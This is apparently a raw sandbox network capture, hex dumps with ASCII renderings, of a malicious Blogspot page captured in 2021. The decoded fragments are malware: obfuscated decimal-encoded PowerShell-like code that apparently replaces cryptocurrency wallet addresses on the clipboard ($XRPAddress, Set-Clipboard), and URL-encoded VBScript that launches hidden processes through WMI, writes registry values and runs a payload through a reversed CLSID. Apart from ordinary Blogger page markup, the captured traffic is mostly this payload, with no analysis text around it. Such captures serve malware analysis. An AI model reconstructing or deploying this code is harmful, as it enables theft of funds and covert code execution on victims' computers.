34 25 32 43 30 38 32 25 32 43 30 39 38 25 32 43 30 38 37 25 32 43 30 38 35 25 32 43 31 30 33 25 32 43 30 35 37 25 32 
43 31 30 35 25 32 43 30 38 31 25 32 43 30 38 39 25 32 43 30 34 39 25 32 43 30 35 36 25 32 43 30 38 36 25 32 43 30 37 
31 25 32 43 31 31 37 25 32 43 30 38 31 25 32 43 30 33 34 25 32 43 30 34 31 25 32 43 30 31 33 25 32 43 30 31 30 25 32 
43 30 33 36 25 32 43 30 38 38 25 32 43 30 38 32 25 32 43 30 38 30 25 32 43 30 36 35 25 32 43 31 30 30 25 32 43 31 30 
30 25 32 43 31 31 34 25 32 43 31 30 31 25 32 43 31 31 35 25 32 43 31 31 35 
Data Ascii: 121%2C117%2C098%2C085%2C082%2C119%2C070%2C077%2C109%2C105%2C074%2C06
7%2C104%2C082%2C098%2C087%2C085%2C103%2C057%2C105%2C081%2C089%2C049%2C056%2C086%
2C071%2C117%2C081%2C034%2C041%2C013%2C010%2C036%2C088%2C082%2C080%2C065%2C100%2C
100%2C114%2C101%2C115%2C115

2021-11-25 17:33:40 UTC 61 IN Data Raw: 39 25 32 43 30 37 34 25 32 43 31 32 31 25 32 43 31 31 30 25 32 43 30 38 33 25 32 43 31 31 38 25 32 43 30 
38 38 25 32 43 31 31 33 25 32 43 30 38 33 25 32 43 30 37 38 25 32 43 30 35 36 25 32 43 31 30 39 25 32 43 30 34 39 25 
32 43 30 34 39 25 32 43 30 35 33 25 32 43 30 39 30 25 32 43 31 30 31 25 32 43 31 30 32 25 32 43 30 39 38 25 32 43 31 
31 30 25 32 43 30 38 39 25 32 43 30 37 37 25 32 43 30 37 35 25 32 43 30 33 34 25 32 43 30 34 34 25 32 43 30 33 32 25 
32 43 30 33 34 25 32 43 30 37 36 25 32 43 30 39 30 25 32 43 30 36 35 25 32 43 31 31 32 25 32 43 30 39 30 25 32 43 31 
31 31 25 32 43 31 32 32 25 32 43 30 39 39 25 32 43 30 37 35 25 32 43 31 30 39 25 32 43 30 36 38 25 32 43 30 34 39 25 
32 43 30 37 34 25 32 43 31 32 31 25 32 43 31 31 30 25 32 43 30 38 33 25 32 
Data Ascii: 9%2C074%2C121%2C110%2C083%2C118%2C088%2C113%2C083%2C078%2C056%2C109%
2C049%2C049%2C053%2C090%2C101%2C102%2C098%2C110%2C089%2C077%2C075%2C034%2C044%2C
032%2C034%2C076%2C090%2C065%2C112%2C090%2C111%2C122%2C099%2C075%2C109%2C068%2C04
9%2C074%2C121%2C110%2C083%2

2021-11-25 17:33:40 UTC 63 IN Data Raw: 32 43 31 30 30 25 32 43 31 31 31 25 32 43 31 31 39 25 32 43 31 31 35 25 32 43 30 33 34 25 32 43 30 34 31 
25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 33 36 25 32 43 30 36 35 25 32 43 30 36 38 25 32 43 30 36 35 25 32 43 
30 36 35 25 32 43 31 30 30 25 32 43 31 30 30 25 32 43 31 31 34 25 32 43 31 30 31 25 32 43 31 31 35 25 32 43 31 31 35 
25 32 43 30 38 33 25 32 43 31 30 35 25 32 43 31 32 32 25 32 43 31 30 31 25 32 43 30 33 32 25 32 43 30 36 31 25 32 43 
30 33 32 25 32 43 30 33 36 25 32 43 30 36 35 25 32 43 30 36 38 25 32 43 30 36 35 25 32 43 30 36 35 25 32 43 31 30 30 
25 32 43 31 30 30 25 32 43 31 31 34 25 32 43 31 30 31 25 32 43 31 31 35 25 32 43 31 31 35 25 32 43 30 34 36 25 32 43 
31 30 38 25 32 43 31 30 31 25 32 43 31 31 30 25 32 43 31 30 33 25 32 43 31 
Data Ascii: 2C100%2C111%2C119%2C115%2C034%2C041%2C013%2C010%2C036%2C065%2C068%2C
065%2C065%2C100%2C100%2C114%2C101%2C115%2C115%2C083%2C105%2C122%2C101%2C032%2C06
1%2C032%2C036%2C065%2C068%2C065%2C065%2C100%2C100%2C114%2C101%2C115%2C115%2C046%
2C108%2C101%2C110%2C103%2C1
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2021-11-25 17:33:40 UTC 64 IN Data Raw: 30 33 34 25 32 43 30 34 34 25 32 43 30 33 32 25 32 43 30 33 34 25 32 43 30 36 38 25 32 43 30 37 35 25 32 
43 30 35 32 25 32 43 30 36 36 25 32 43 31 31 36 25 32 43 30 34 39 25 32 43 31 31 39 25 32 43 30 36 38 25 32 43 30 38 
39 25 32 43 30 37 37 25 32 43 31 30 32 25 32 43 31 31 33 25 32 43 31 30 34 25 32 43 30 39 38 25 32 43 31 31 33 25 32 
43 31 31 31 25 32 43 30 35 35 25 32 43 31 30 36 25 32 43 30 37 37 25 32 43 30 37 37 25 32 43 31 31 33 25 32 43 30 37 
30 25 32 43 31 31 37 25 32 43 30 36 39 25 32 43 31 31 36 25 32 43 31 30 32 25 32 43 30 37 30 25 32 43 30 38 38 25 32 
43 31 30 32 25 32 43 31 31 38 25 32 43 30 37 35 25 32 43 30 37 30 25 32 43 30 38 34 25 32 43 30 39 37 25 32 43 30 33 
34 25 32 43 30 34 31 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 33 36 
Data Ascii: 034%2C044%2C032%2C034%2C068%2C075%2C052%2C066%2C116%2C049%2C119%2C06
8%2C089%2C077%2C102%2C113%2C104%2C098%2C113%2C111%2C055%2C106%2C077%2C077%2C113%
2C070%2C117%2C069%2C116%2C102%2C070%2C088%2C102%2C118%2C075%2C070%2C084%2C097%2C
034%2C041%2C013%2C010%2C036

2021-11-25 17:33:40 UTC 65 IN Data Raw: 30 25 32 43 31 30 31 25 32 43 30 33 32 25 32 43 30 33 36 25 32 43 31 31 31 25 32 43 31 30 38 25 32 43 31 
30 30 25 32 43 30 36 35 25 32 43 31 30 30 25 32 43 31 30 30 25 32 43 31 31 34 25 32 43 31 30 31 25 32 43 31 31 35 25 
32 43 31 31 35 25 32 43 30 38 33 25 32 43 31 30 31 25 32 43 31 31 36 25 32 43 30 34 31 25 32 43 30 31 33 25 32 43 30 
31 30 25 32 43 30 30 39 25 32 43 31 32 33 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 30 30 39 25 
32 43 30 38 33 25 32 43 31 30 31 25 32 43 31 31 36 25 32 43 30 34 35 25 32 43 30 36 37 25 32 43 31 30 38 25 32 43 31 
30 35 25 32 43 31 31 32 25 32 43 30 39 38 25 32 43 31 31 31 25 32 43 30 39 37 25 32 43 31 31 34 25 32 43 31 30 30 25 
32 43 30 33 32 25 32 43 30 33 36 25 32 43 30 36 39 25 32 43 31 31 36 25 32 
Data Ascii: 0%2C101%2C032%2C036%2C111%2C108%2C100%2C065%2C100%2C100%2C114%2C101%
2C115%2C115%2C083%2C101%2C116%2C041%2C013%2C010%2C009%2C123%2C013%2C010%2C009%2C
009%2C083%2C101%2C116%2C045%2C067%2C108%2C105%2C112%2C098%2C111%2C097%2C114%2C10
0%2C032%2C036%2C069%2C116%2

2021-11-25 17:33:40 UTC 67 IN Data Raw: 32 43 31 30 38 25 32 43 31 30 35 25 32 43 31 31 32 25 32 43 30 39 38 25 32 43 31 31 31 25 32 43 30 39 37 
25 32 43 31 31 34 25 32 43 31 30 30 25 32 43 30 36 37 25 32 43 31 31 31 25 32 43 31 31 30 25 32 43 31 31 36 25 32 43 
31 30 31 25 32 43 31 31 30 25 32 43 31 31 36 25 32 43 30 33 32 25 32 43 30 34 35 25 32 43 30 39 39 25 32 43 31 31 30 
25 32 43 31 30 31 25 32 43 30 33 32 25 32 43 30 33 36 25 32 43 31 31 31 25 32 43 31 30 38 25 32 43 31 30 30 25 32 43 
30 36 35 25 32 43 31 30 30 25 32 43 31 30 30 25 32 43 31 31 34 25 32 43 31 30 31 25 32 43 31 31 35 25 32 43 31 31 35 
25 32 43 30 38 33 25 32 43 31 30 31 25 32 43 31 31 36 25 32 43 30 34 31 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 
30 30 39 25 32 43 31 32 33 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 
Data Ascii: 2C108%2C105%2C112%2C098%2C111%2C097%2C114%2C100%2C067%2C111%2C110%2C
116%2C101%2C110%2C116%2C032%2C045%2C099%2C110%2C101%2C032%2C036%2C111%2C108%2C10
0%2C065%2C100%2C100%2C114%2C101%2C115%2C115%2C083%2C101%2C116%2C041%2C013%2C010%
2C009%2C123%2C013%2C010%2C0

2021-11-25 17:33:40 UTC 68 IN Data Raw: 31 31 37 25 32 43 31 30 31 25 32 43 30 33 32 25 32 43 30 34 35 25 32 43 30 39 37 25 32 43 31 31 30 25 32 
43 31 30 30 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 30 30 39 25 32 43 30 33 36 25 32 43 30 39 
39 25 32 43 31 30 38 25 32 43 31 30 35 25 32 43 31 31 32 25 32 43 30 39 38 25 32 43 31 31 31 25 32 43 30 39 37 25 32 
43 31 31 34 25 32 43 31 30 30 25 32 43 30 36 37 25 32 43 31 31 31 25 32 43 31 31 30 25 32 43 31 31 36 25 32 43 31 30 
31 25 32 43 31 31 30 25 32 43 31 31 36 25 32 43 30 33 32 25 32 43 30 34 35 25 32 43 30 39 39 25 32 43 31 31 30 25 32 
43 31 30 31 25 32 43 30 33 32 25 32 43 30 33 36 25 32 43 31 31 31 25 32 43 31 30 38 25 32 43 31 30 30 25 32 43 30 36 
35 25 32 43 31 30 30 25 32 43 31 30 30 25 32 43 31 31 34 25 32 43 31 30 31 
Data Ascii: 117%2C101%2C032%2C045%2C097%2C110%2C100%2C013%2C010%2C009%2C009%2C03
6%2C099%2C108%2C105%2C112%2C098%2C111%2C097%2C114%2C100%2C067%2C111%2C110%2C116%
2C101%2C110%2C116%2C032%2C045%2C099%2C110%2C101%2C032%2C036%2C111%2C108%2C100%2C
065%2C100%2C100%2C114%2C101

2021-11-25 17:33:40 UTC 69 IN Data Raw: 30 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 30 30 39 25 32 43 30 33 36 25 32 43 30 
39 39 25 32 43 31 30 38 25 32 43 31 30 35 25 32 43 31 31 32 25 32 43 30 39 38 25 32 43 31 31 31 25 32 43 30 39 37 25 
32 43 31 31 34 25 32 43 31 30 30 25 32 43 30 36 37 25 32 43 31 31 31 25 32 43 31 31 30 25 32 43 31 31 36 25 32 43 31 
30 31 25 32 43 31 31 30 25 32 43 31 31 36 25 32 43 30 33 32 25 32 43 30 34 35 25 32 43 30 39 39 25 32 43 31 31 30 25 
32 43 31 30 31 25 32 43 30 33 32 25 32 43 30 33 36 25 32 43 31 31 31 25 32 43 31 30 38 25 32 43 31 30 30 25 32 43 30 
36 35 25 32 43 31 30 30 25 32 43 31 30 30 25 32 43 31 31 34 25 32 43 31 30 31 25 32 43 31 31 35 25 32 43 31 31 35 25 
32 43 30 38 33 25 32 43 31 30 31 25 32 43 31 31 36 25 32 43 30 34 31 25 32 
Data Ascii: 0%2C013%2C010%2C009%2C009%2C036%2C099%2C108%2C105%2C112%2C098%2C111%
2C097%2C114%2C100%2C067%2C111%2C110%2C116%2C101%2C110%2C116%2C032%2C045%2C099%2C
110%2C101%2C032%2C036%2C111%2C108%2C100%2C065%2C100%2C100%2C114%2C101%2C115%2C11
5%2C083%2C101%2C116%2C041%2

2021-11-25 17:33:40 UTC 70 IN Data Raw: 32 43 31 30 35 25 32 43 31 31 32 25 32 43 30 39 38 25 32 43 31 31 31 25 32 43 30 39 37 25 32 43 31 31 34 
25 32 43 31 30 30 25 32 43 30 36 37 25 32 43 31 31 31 25 32 43 31 31 30 25 32 43 31 31 36 25 32 43 31 30 31 25 32 43 
31 31 30 25 32 43 31 31 36 25 32 43 30 33 32 25 32 43 30 34 35 25 32 43 30 39 39 25 32 43 31 31 30 25 32 43 31 30 31 
25 32 43 30 33 32 25 32 43 30 33 36 25 32 43 31 31 31 25 32 43 31 30 38 25 32 43 31 30 30 25 32 43 30 36 35 25 32 43 
31 30 30 25 32 43 31 30 30 25 32 43 31 31 34 25 32 43 31 30 31 25 32 43 31 31 35 25 32 43 31 31 35 25 32 43 30 38 33 
25 32 43 31 30 31 25 32 43 31 31 36 25 32 43 30 34 31 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 
31 32 33 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 30 
Data Ascii: 2C105%2C112%2C098%2C111%2C097%2C114%2C100%2C067%2C111%2C110%2C116%2C
101%2C110%2C116%2C032%2C045%2C099%2C110%2C101%2C032%2C036%2C111%2C108%2C100%2C06
5%2C100%2C100%2C114%2C101%2C115%2C115%2C083%2C101%2C116%2C041%2C013%2C010%2C009%
2C123%2C013%2C010%2C009%2C0

2021-11-25 17:33:40 UTC 72 IN Data Raw: 31 30 35 25 32 43 31 31 32 25 32 43 30 39 38 25 32 43 31 31 31 25 32 43 30 39 37 25 32 43 31 31 34 25 32 
43 31 30 30 25 32 43 30 36 37 25 32 43 31 31 31 25 32 43 31 31 30 25 32 43 31 31 36 25 32 43 31 30 31 25 32 43 31 31 
30 25 32 43 31 31 36 25 32 43 30 33 32 25 32 43 30 34 35 25 32 43 30 39 39 25 32 43 31 31 30 25 32 43 31 30 31 25 32 
43 30 33 32 25 32 43 30 33 36 25 32 43 31 31 31 25 32 43 31 30 38 25 32 43 31 30 30 25 32 43 30 36 35 25 32 43 31 30 
30 25 32 43 31 30 30 25 32 43 31 31 34 25 32 43 31 30 31 25 32 43 31 31 35 25 32 43 31 31 35 25 32 43 30 38 33 25 32 
43 31 30 31 25 32 43 31 31 36 25 32 43 30 34 31 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 30 33 
35 25 32 43 30 33 32 25 32 43 31 32 33 25 32 43 30 31 33 25 32 43 30 31 30 
Data Ascii: 105%2C112%2C098%2C111%2C097%2C114%2C100%2C067%2C111%2C110%2C116%2C10
1%2C110%2C116%2C032%2C045%2C099%2C110%2C101%2C032%2C036%2C111%2C108%2C100%2C065%
2C100%2C100%2C114%2C101%2C115%2C115%2C083%2C101%2C116%2C041%2C013%2C010%2C009%2C
035%2C032%2C123%2C013%2C010
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2021-11-25 17:33:40 UTC 73 IN Data Raw: 36 25 32 43 30 39 39 25 32 43 31 30 38 25 32 43 31 30 35 25 32 43 31 31 32 25 32 43 30 39 38 25 32 43 31 
31 31 25 32 43 30 39 37 25 32 43 31 31 34 25 32 43 31 30 30 25 32 43 30 36 37 25 32 43 31 31 31 25 32 43 31 31 30 25 
32 43 31 31 36 25 32 43 31 30 31 25 32 43 31 31 30 25 32 43 31 31 36 25 32 43 30 33 32 25 32 43 30 34 35 25 32 43 30 
39 39 25 32 43 31 31 30 25 32 43 31 30 31 25 32 43 30 33 32 25 32 43 30 33 36 25 32 43 31 31 31 25 32 43 31 30 38 25 
32 43 31 30 30 25 32 43 30 36 35 25 32 43 31 30 30 25 32 43 31 30 30 25 32 43 31 31 34 25 32 43 31 30 31 25 32 43 31 
31 35 25 32 43 31 31 35 25 32 43 30 38 33 25 32 43 31 30 31 25 32 43 31 31 36 25 32 43 30 34 31 25 32 43 30 31 33 25 
32 43 30 31 30 25 32 43 30 30 39 25 32 43 31 32 33 25 32 43 30 31 33 25 32 
Data Ascii: 6%2C099%2C108%2C105%2C112%2C098%2C111%2C097%2C114%2C100%2C067%2C111%
2C110%2C116%2C101%2C110%2C116%2C032%2C045%2C099%2C110%2C101%2C032%2C036%2C111%2C
108%2C100%2C065%2C100%2C100%2C114%2C101%2C115%2C115%2C083%2C101%2C116%2C041%2C01
3%2C010%2C009%2C123%2C013%2

2021-11-25 17:33:40 UTC 74 IN Data Raw: 32 43 30 39 37 25 32 43 31 31 34 25 32 43 31 30 30 25 32 43 30 36 37 25 32 43 31 31 31 25 32 43 31 31 30 
25 32 43 31 31 36 25 32 43 31 30 31 25 32 43 31 31 30 25 32 43 31 31 36 25 32 43 30 33 32 25 32 43 30 34 35 25 32 43 
30 39 39 25 32 43 31 31 30 25 32 43 31 30 31 25 32 43 30 33 32 25 32 43 30 33 36 25 32 43 31 31 31 25 32 43 31 30 38 
25 32 43 31 30 30 25 32 43 30 36 35 25 32 43 31 30 30 25 32 43 31 30 30 25 32 43 31 31 34 25 32 43 31 30 31 25 32 43 
31 31 35 25 32 43 31 31 35 25 32 43 30 38 33 25 32 43 31 30 31 25 32 43 31 31 36 25 32 43 30 34 31 25 32 43 30 31 33 
25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 31 32 33 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 
30 30 39 25 32 43 30 38 33 25 32 43 31 30 31 25 32 43 31 31 36 25 32 43 30 
Data Ascii: 2C097%2C114%2C100%2C067%2C111%2C110%2C116%2C101%2C110%2C116%2C032%2C
045%2C099%2C110%2C101%2C032%2C036%2C111%2C108%2C100%2C065%2C100%2C100%2C114%2C10
1%2C115%2C115%2C083%2C101%2C116%2C041%2C013%2C010%2C009%2C123%2C013%2C010%2C009%
2C009%2C083%2C101%2C116%2C0

2021-11-25 17:33:40 UTC 75 IN Data Raw: 53 65 72 76 69 63 65 2e 47 65 74 25 32 38 25 32 32 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 53 74 61 72 74 75 
70 25 32 32 25 32 39 25 30 41 53 65 74 25 32 30 6f 62 6a 43 6f 6e 66 69 67 25 32 30 25 33 44 25 32 30 6f 62 6a 53 74 61 
72 74 75 70 2e 53 70 61 77 6e 49 6e 73 74 61 6e 63 65 5f 25 30 41 6f 62 6a 43 6f 6e 66 69 67 2e 53 68 6f 77 57 69 6e 64 
6f 77 25 32 30 25 33 44 25 32 30 48 49 44 44 45 4e 5f 57 49 4e 44 4f 57 25 30 41 53 65 74 25 32 30 6f 62 6a 50 72 6f 63 
65 73 73 25 32 30 25 33 44 25 32 30 47 65 74 4f 62 6a 65 63 74 25 32 38 25 32 32 77 69 6e 6d 67 6d 74 73 25 33 41 72 
6f 6f 74 25 35 43 63 69 6d 76 32 25 33 41 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 25 32 32 25 32 39 25 30 41 65 72 72 52 
65 74 75 72 6e 25 32 30 25 33 44 25 32 30 6f 62 6a 50 72 6f 
Data Ascii: Service.Get%28%22Win32_ProcessStartup%22%29%0ASet%20objConfig%20%3D%20objStartup.SpawnIn
stance_%0AobjConfig.ShowWindow%20%3D%20HIDDEN_WINDOW%0ASet%20objProcess%20%3D%20GetObject%
28%22winmgmts%3Aroot%5Ccimv2%3AWin32_Process%22%29%0AerrReturn%20%3D%20objPro

2021-11-25 17:33:40 UTC 77 IN Data Raw: 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 27 63 61 70 2d 62 6f 74 74 6f 6d 27 3e 0a 3c 64 69 76 20 63 6c 
61 73 73 3d 27 63 61 70 2d 6c 65 66 74 27 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 27 63 61 70 2d 72 
69 67 68 74 27 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 27 66 
61 75 78 63 6f 6c 75 6d 6e 2d 6f 75 74 65 72 20 66 61 75 78 63 6f 6c 75 6d 6e 2d 6c 65 66 74 2d 6f 75 74 65 72 27 3e 0a 
3c 64 69 76 20 63 6c 61 73 73 3d 27 63 61 70 2d 74 6f 70 27 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 27 63 61 70 2d 6c 
65 66 74 27 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 27 63 61 70 2d 72 69 67 68 74 27 3e 3c 2f 64 69 76 
3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 27 
Data Ascii: iv><div class='cap-bottom'><div class='cap-left'></div><div class='cap-right'></div></div></div><div class='
fauxcolumn-outer fauxcolumn-left-outer'><div class='cap-top'><div class='cap-left'></div><div class='cap-right'></div></
div><div class='

2021-11-25 17:33:40 UTC 78 IN Data Raw: 6d 61 2e 6f 72 67 2f 42 6c 6f 67 50 6f 73 74 69 6e 67 27 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 33 
39 30 33 36 30 39 34 31 39 33 31 37 36 39 39 33 39 38 27 20 69 74 65 6d 70 72 6f 70 3d 27 62 6c 6f 67 49 64 27 2f 3e 0a 
3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 34 36 31 33 32 31 38 34 34 35 36 35 38 34 35 33 36 35 31 27 20 69 74 65 
6d 70 72 6f 70 3d 27 70 6f 73 74 49 64 27 2f 3e 0a 3c 61 20 6e 61 6d 65 3d 27 34 36 31 33 32 31 38 34 34 35 36 35 38 34 
35 33 36 35 31 27 3e 3c 2f 61 3e 0a 3c 68 33 20 63 6c 61 73 73 3d 27 70 6f 73 74 2d 74 69 74 6c 65 20 65 6e 74 72 79 2d 
74 69 74 6c 65 27 20 69 74 65 6d 70 72 6f 70 3d 27 6e 61 6d 65 27 3e 0a 32 30 0a 3c 2f 68 33 3e 0a 3c 64 69 76 20 63 6c 
61 73 73 3d 27 70 6f 73 74 2d 68 65 61 64 65 72 27 3e 0a 
Data Ascii: ma.org/BlogPosting'><meta content='3903609419317699398' itemprop='blogId'/><meta content='46132184
45658453651' itemprop='postId'/><a name='4613218445658453651'></a><h3 class='post-title entry-title' itemprop=
'name'>20</h3><div class='post-header'>

2021-11-25 17:33:40 UTC 79 IN Data Raw: 32 32 63 61 72 65 25 32 32 25 30 41 6b 61 73 6f 64 6b 6d 77 6d 2e 53 65 74 53 74 72 69 6e 67 56 61 6c 75 65 
25 32 30 74 70 6f 6b 25 32 43 25 32 30 70 6f 6c 6f 61 6f 73 64 25 32 43 25 32 30 61 6b 6f 73 64 77 64 6a 64 77 25 32 43 
25 32 30 70 69 6e 6b 25 30 41 73 65 74 25 32 30 4d 69 63 72 6f 73 6f 66 74 57 49 4e 64 6f 77 73 25 32 30 25 33 44 25 32 
30 47 65 74 4f 62 6a 65 63 74 25 32 38 53 74 72 52 65 76 65 72 73 65 25 32 38 25 32 32 42 30 41 38 35 44 46 34 30 43 
30 30 2d 39 42 44 41 2d 30 44 31 31 2d 30 46 43 31 2d 32 32 43 44 35 33 39 46 25 33 41 77 65 6e 25 32 32 25 32 39 25 
32 39 25 30 41 4d 69 63 72 6f 73 6f 66 74 57 49 4e 64 6f 77 73 25 32 30 5f 25 30 41 2e 25 32 30 5f 25 30 41 52 55 6e 25 
32 30 5f 25 30 41 70 69 6e 6b 25 32 43 30 25 30 41 77 69 6e 64 
Data Ascii: 22care%22%0Akasodkmwm.SetStringValue%20tpok%2C%20poloaosd%2C%20akosdwdjdw%2C%2
0pink%0Aset%20MicrosoftWINdows%20%3D%20GetObject%28StrReverse%28%22B0A85DF40C00-9BDA-0D11-0FC1-
22CD539F%3Awen%22%29%29%0AMicrosoftWINdows%20_%0A.%20_%0ARUn%20_%0Apink%2C0%0Awind

2021-11-25 17:33:40 UTC 81 IN Data Raw: 73 70 6f 74 2e 63 6f 6d 2f 66 65 65 64 73 2f 70 6f 73 74 73 2f 64 65 66 61 75 6c 74 27 20 74 61 72 67 65 74 3d 
27 5f 62 6c 61 6e 6b 27 20 74 79 70 65 3d 27 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 27 3e 50 6f 73 
74 73 20 28 41 74 6f 6d 29 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0a 
3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 27 63 6f 6c 75 6d 6e 2d 6c 65 66 74 2d 6f 75 
74 65 72 27 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 27 63 6f 6c 75 6d 6e 2d 6c 65 66 74 2d 69 6e 6e 65 72 27 3e 0a 3c 
61 73 69 64 65 3e 0a 3c 2f 61 73 69 64 65 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 
3d 27 63 6f 6c 75 6d 6e 2d 72 69 67 68 74 2d 6f 75 74 
Data Ascii: spot.com/feeds/posts/default' target='_blank' type='application/atom+xml'>Posts (Atom)</a></div></div></div>
</div></div></div><div class='column-left-outer'><div class='column-left-inner'><aside></aside></div></div><div class='c
olumn-right-out

2021-11-25 17:33:40 UTC 82 IN Data Raw: 65 6d 73 20 73 65 63 74 69 6f 6e 27 20 69 64 3d 27 66 6f 6f 74 65 72 2d 31 27 3e 3c 2f 64 69 76 3e 0a 3c 74 
61 62 6c 65 20 62 6f 72 64 65 72 3d 27 30 27 20 63 65 6c 6c 70 61 64 64 69 6e 67 3d 27 30 27 20 63 65 6c 6c 73 70 61 
63 69 6e 67 3d 27 30 27 20 63 6c 61 73 73 3d 27 73 65 63 74 69 6f 6e 2d 63 6f 6c 75 6d 6e 73 20 63 6f 6c 75 6d 6e 73 2d 
32 27 3e 0a 3c 74 62 6f 64 79 3e 0a 3c 74 72 3e 0a 3c 74 64 20 63 6c 61 73 73 3d 27 66 69 72 73 74 20 63 6f 6c 75 6d 6e 
73 2d 63 65 6c 6c 27 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 27 66 6f 6f 74 20 6e 6f 2d 69 74 65 6d 73 20 73 65 63 74 69 
6f 6e 27 20 69 64 3d 27 66 6f 6f 74 65 72 2d 32 2d 31 27 3e 3c 2f 64 69 76 3e 0a 3c 2f 74 64 3e 0a 3c 74 64 20 63 6c 61 
73 73 3d 27 63 6f 6c 75 6d 6e 73 2d 63 65 6c 6c 27 3e 0a 3c 
Data Ascii: ems section' id='footer-1'></div><table border='0' cellpadding='0' cellspacing='0' class='section-columns co
lumns-2'><tbody><tr><td class='first columns-cell'><div class='foot no-items section' id='footer-2-1'></div></td><td cla
ss='columns-cell'><
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2021-11-25 17:33:40 UTC 83 IN Data Raw: 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 0a 77 69 6e 
64 6f 77 5b 27 5f 5f 77 61 76 74 27 5d 20 3d 20 27 41 4f 75 5a 6f 59 37 74 6b 47 63 38 38 4b 33 67 53 61 35 4e 74 68 77 
4b 33 61 41 31 71 35 6d 30 30 77 3a 31 36 33 37 38 35 39 35 38 33 30 39 36 27 3b 5f 57 69 64 67 65 74 4d 61 6e 61 67 
65 72 2e 5f 49 6e 69 74 28 27 2f 2f 77 77 77 2e 62 6c 6f 67 67 65 72 2e 63 6f 6d 2f 72 65 61 72 72 61 6e 67 65 3f 62 6c 6f 
67 49 44 5c 78 33 64 33 39 30 33 36 30 39 34 31 39 33 31 37 36 39 39 33 39 38 27 2c 27 2f 2f 6b 64 61 6f 73 6b 64 6f 6b 
61 6f 64 6b 77 6c 64 6c 64 2e 62 6c 6f 67 73 70 6f 74 2e 63 6f 6d 2f 70 2f 32 30 2e 68 74 6d 6c 27 2c 27 33 39 30 33 36 30 
39 34 31 39 33 31 37 36 39 39 33 39 38 27 29 3b 0a 5f 
Data Ascii: <script type='text/javascript'>window['__wavt'] = 'AOuZoY7tkGc88K3gSa5NthwK3aA1q5m00w:163785958309
6';_WidgetManager._Init('//www.blogger.com/rearrange?blogID\x3d3903609419317699398','//kdaoskdokaodkwldld.blog
spot.com/p/20.html','3903609419317699398');_

2021-11-25 17:33:40 UTC 84 IN Data Raw: 65 5c 78 33 64 5c 78 32 32 2e 62 63 6b 32 32 20 2d 20 41 74 6f 6d 5c 78 32 32 20 68 72 65 66 5c 78 33 64 5c 
78 32 32 68 74 74 70 73 3a 2f 2f 6b 64 61 6f 73 6b 64 6f 6b 61 6f 64 6b 77 6c 64 6c 64 2e 62 6c 6f 67 73 70 6f 74 2e 63 6f 
6d 2f 66 65 65 64 73 2f 70 6f 73 74 73 2f 64 65 66 61 75 6c 74 5c 78 32 32 20 2f 5c 78 33 65 5c 6e 5c 78 33 63 6c 69 6e 
6b 20 72 65 6c 5c 78 33 64 5c 78 32 32 61 6c 74 65 72 6e 61 74 65 5c 78 32 32 20 74 79 70 65 5c 78 33 64 5c 78 32 32 
61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 0d 0a 
Data Ascii: e\x3d\x22.bck22 - Atom\x22 href\x3d\x22https://kdaoskdokaodkwldld.blogspot.com/feeds/posts/default\x22 
/\x3e\n\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/rss+xm

2021-11-25 17:33:40 UTC 85 IN Data Raw: 65 36 31 0d 0a 6c 5c 78 32 32 20 74 69 74 6c 65 5c 78 33 64 5c 78 32 32 2e 62 63 6b 32 32 20 2d 20 52 53 53 
5c 78 32 32 20 68 72 65 66 5c 78 33 64 5c 78 32 32 68 74 74 70 73 3a 2f 2f 6b 64 61 6f 73 6b 64 6f 6b 61 6f 64 6b 77 6c 
64 6c 64 2e 62 6c 6f 67 73 70 6f 74 2e 63 6f 6d 2f 66 65 65 64 73 2f 70 6f 73 74 73 2f 64 65 66 61 75 6c 74 3f 61 6c 74 5c 
78 33 64 72 73 73 5c 78 32 32 20 2f 5c 78 33 65 5c 6e 5c 78 33 63 6c 69 6e 6b 20 72 65 6c 5c 78 33 64 5c 78 32 32 73 65 
72 76 69 63 65 2e 70 6f 73 74 5c 78 32 32 20 74 79 70 65 5c 78 33 64 5c 78 32 32 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 
